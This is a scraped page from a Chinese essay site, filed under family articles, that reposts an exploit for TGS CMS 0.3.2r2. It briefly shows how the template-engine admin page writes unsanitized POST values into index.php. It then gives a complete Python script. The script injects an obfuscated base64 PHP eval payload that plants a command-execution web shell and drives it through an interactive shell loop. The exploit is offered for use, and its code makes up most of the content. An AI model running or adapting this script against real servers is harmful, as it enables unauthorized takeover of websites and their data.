首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 亲情文章 > 正文

    TGS,CMS,0.3.2r2,Remote,Code,Execution,Exploit|r2

    时间：2020-02-18来源：山茶花美文网 本文已影响 人 山茶花美文网手机站

    # TGS CMS Remote Code Execution Exploit

    # by 0in

    # from Dark-Coders Group!

    # www.dark-coders.pl

    # Contact: 0in(dot)email[at]gmail(dot)com

    # Greetings to:die_angel,suN8Hclf,m4r1usz,cOndemned,str0ke

    # Dork:NULL - because "You cannot kill what you did not create" <- Duality by Slipknot

    # Let"s analyze the vuln:

    # We"ve got the: /cms/admin/admin.template_engine.php

    # first line:"<?"

    # next 2-22 lines - comments

    # 23: if ($_GET["option"] == "set_template") {

    # 24: $filename = "../index.php";

    # 25: if ((@is_writeable($filename)) && ($handle = @fopen($filename, "w"))) {

    # From 50 line to 88 we have definition of file content

    # 50: $content = "<?php // here programmer define the file to save in "../index.php"

    # but...

    # he.. don"t think xD

    # 77:$tgs_template->template_dir = "".$_POST["template_dir"]."";

    # 78:$tgs_template->config_dir = "".$_POST["config_dir"]."";

    # 79:$tgs_template->cms_dir = "".$_POST["cms_dir"]."";

    # 80:$tgs_template->left_delimiter = "".$_POST["left_delimiter"]."";

    # 81:$tgs_template->right_delimiter = "".$_POST["right_delimiter"]."";

    # And.. boom!

    # 89: if (@fwrite($handle,$content)) {

    # Just simply exploit for fun:

    import httplib

    import urllib

    print "TGS CMS Remote Code Execution Exploit"

    print "by 0in From Dark-Coders Group"

    print "www.dark-coders.pl"

    print "Enter target:"

    target=raw_input()

    print "Enter path:"

    path=raw_input()

    inject="";error_reporting(0);eval(base64_decode("JGNtZD0kX0dFVFsnenVvJ107c3lzdGVtKCRjbWQpO2V4aXQ7"));//"

    exploit=httplib.HTTPConnection(target ":80")

    headers={"Content-type":"application/x-www-form-urlencoded","Accept":"text/plain"}

    data=urllib.urlencode({"right_delimiter":inject})

    exploit.request("POST",path "/cms/admin/admin.template_engine.php?option=set_template",data,headers)

    print exploit.getresponse().read()

    while(1):

    cmd=raw_input("[shell@" target "]#")

    if(cmd=="exit"):

    quit()

    shell=httplib.HTTPConnection(target ":80")

    shell.request("GET",path "/cms/index.php?zuo=" cmd)

    print shell.getresponse().read()

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文TGS,CMS,0.3.2r2,Remote,Code,Execution,Exploit|r2由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.